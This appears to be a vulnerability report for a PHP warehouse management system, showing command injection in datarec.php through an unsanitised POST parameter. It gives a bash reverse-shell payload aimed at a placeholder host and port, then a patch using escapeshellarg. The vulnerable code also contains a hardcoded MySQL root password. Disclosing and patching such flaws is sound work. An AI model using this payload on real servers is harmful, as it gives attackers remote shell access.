Remote Command Execution vulnerability in /wms/src/system/datarec.php

[leiyuyu041013]

A RCE was found in system/datarec.php, the $_POST[r_name] is directly passed into the $mysqlstr, and is executed by exec, which causing a RCE.

POC:
Firstly, start a nc listener:

Next, post a request with parameter:
r_name=$(bash -c 'bash -i >& /dev/tcp/x.x.x.x/8888 0<&1 2>&1')

Finally, you get the reverse shell:

[zentery]

Here is a patch for this issue:
--- src/system/datarec.php
+++ src/system/datarec.php

include "../conn/conn.php";

• $mysqlstr = "mysql -uroot -phust db_wms<sql/".$_POST[r_name];
  //echo $mysqlstr;

• $r_name = escapeshellarg($_POST['r_name']);
• $mysqlstr = "mysql -uroot -phust db_wms < sql/$r_name";
  exec($mysqlstr);
  echo "<script>alert('»Ö¸´³É¹¦');location='../desk.php'</script>";